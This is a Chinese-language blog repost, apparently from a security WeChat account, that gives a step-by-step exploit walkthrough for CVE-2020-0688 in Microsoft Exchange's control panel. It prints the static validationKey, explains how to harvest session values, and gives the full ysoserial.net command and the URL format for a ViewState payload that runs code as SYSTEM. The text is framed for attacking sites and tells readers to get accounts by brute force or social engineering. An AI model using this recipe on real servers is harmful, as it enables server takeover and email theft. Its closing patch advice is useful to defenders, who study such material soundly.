1. MGClouds首页
  2. 资料
  3. 技术
  4. 安全漏洞

CVE-2020-0688-exchange远程代码执行POC

工具 https://github.com/incredibleindishell/ysoserial.net-complied

漏洞利用视频:https://youtu.be/7d_HoQ0LVy8

日站的时候相信大家都碰到过exchange。。。我就不介绍exchange是啥了。。

漏洞利用条件:

所有exchange的漏洞都需要⼀个普通权限的登录账号,exchange的账号获取⽅式我们⼀般采⽤爆破或者社工等方式 自行想办法!!!

Microsoft表示此错误是由于内存损坏漏洞引起的,并且可以通过发送到易受攻击的Exchange服务器的特制电子邮件加以利用。此后,他们已将其文字修改为(正确)表明该漏洞是由Exchange Server在安装时未能正确创建唯一的加密密钥导致的。

具体来说,该错误可在Exchange控制面板(ECP)组件中找到。该错误的性质非常简单。而不必在每个安装的基础上随机生成的密钥,Microsoft Exchange服务器的所有安装有相同validationKey和decryptionKey价值观web.config。这些密钥用于为ViewState提供安全性。ViewState是ASP.NET Web应用程序在客户端上以序列化格式存储的服务器端数据。客户端通过__VIEWSTATErequest参数将此数据提供回服务器。

CVE-2020-0688-exchange远程代码执行POC

图1:包含静态validationKey的web.config文件的摘录。

由于使用了静态密钥,经过身份验证的攻击者可以诱使服务器反序列化恶意制作的ViewState数据。借助YSoSerial.net,攻击者可以在Exchange控制面板Web应用程序(运行为)的上下文中在服务器上执行任意.NET代码SYSTEM

要利用此漏洞,我们需要从经过身份验证的会话中收集ViewStateUserKey和的__VIEWSTATEGENERATOR值。ViewStateUserKey可从ASP.NET中获得_SessionID的cookie,而ViewStateUserKey可以在一个隐藏字段中找到。使用浏览器中的标准开发人员工具可以轻松获得所有这些信息。

首先,浏览至该/ecp/default.aspx页面并登录。所使用的帐户无需具有任何特殊特权。在此示例中,我们使用名为的帐户user

CVE-2020-0688-exchange远程代码执行POC

要继续,我们需要收集一些信息。最有价值的部分是已知的:

validationkey= CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF

validationalg=SHA1

要获取ViewStateUserKey和__VIEWSTATEGENERATOR,请打开开发工具(F12)的网络标签,然后按F5重新发送请求。/ecp/default.aspx登录时,我们需要请求的原始响应:

CVE-2020-0688-exchange远程代码执行POC

如您所见,该__VIEWSTATEGENERATOR值在页面源中可见。在此示例中,其值为B97B4E27。您的价值极有可能是相同的。接下来,打开Headers标签并在中找到ASP.NET_SessionIdcookie Request headers:

CVE-2020-0688-exchange远程代码执行POC

在此示例中,其值为05ae4b41-51e1-4c3a-9241-6b87b169d663。

现在,我们掌握了进行攻击所需的所有信息:

–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF

–validationalg = SHA1

–generator = B97B4E27

–viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663

下一步是使用ysoserial.net生成ViewState有效负载。我们将通过创建文件来生成一个有效负载来演示代码的执行C:Vuln_Server.txt:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c “echo OOOPS!!! > c:/Vuln_Server.txt” –validationalg=”SHA1″ –validationkey=”CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF” –generator=”B97B4E27″ –viewstateuserkey=”05ae4b41-51e1-4c3a-9241-6b87b169d663″ –isdebug –islegacy

-c 参数就是你要执行的命令。。。。。

CVE-2020-0688-exchange远程代码执行POC

最后,我们需要对ViewState有效负载进行URL编码并按如下所示构造URL:

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

替换生成器和上面获得的URL编码的ViewState。

然后,我们只需将结果URL粘贴到浏览器地址栏中,即可将其提交给Exchange服务器:

CVE-2020-0688-exchange远程代码执行POC

服务器抱怨500 Unexpected Error,但是攻击成功。检查对目标服务器的影响:

CVE-2020-0688-exchange远程代码执行POC

果然,文件Vuln_Server.txt现在存在。检查文件上的所有权信息,确认该文件是由具有SYSTEM令牌的进程创建的。

CVE-2020-0688-exchange远程代码执行POC

这表明攻击者可以以SYSTEM身份执行任意代码,并完全破坏目标Exchange服务器。

结论

Microsoft在2020年2月将此漏洞修补为CVE-2020-0688。根据他们的文章,他们通过“更正Microsoft Exchange在安装过程中创建密钥的方式”来解决此漏洞。换句话说,他们现在在安装时将加密密钥随机化。Microsoft在严重性上将其评为“重要”,这可能是因为攻击者必须首先进行身份验证。但是,应注意,在企业内部,几乎所有用户都将被允许向Exchange服务器进行身份验证。同样,任何破坏设备或企业用户凭据的外部攻击者都可以继续接管Exchange服务器。完成此操作后,攻击者将可以随意泄露或伪造公司电子邮件通信。因此,如果您是Exchange Server管理员,您应该将其视为关键级补丁,并在测试完成后立即进行部署。Microsoft列出的漏洞利用指数为1,这表示他们希望在补丁发布后30天内看到漏洞利用。如所证明的,这似乎确实有可能。

本篇文章来源于微信公众号: web安全研究院

原创文章,作者:web安全研究院,如若转载,请注明出处:http://wp.wexiaocheng.com/archives/5061

发表评论

电子邮件地址不会被公开。 必填项已用*标注

联系我们

微信:Dustin_82

邮件:Business@mgclouds.com

工作时间:7 x 24

欢迎交流:媒体报道/品牌合作/商务合作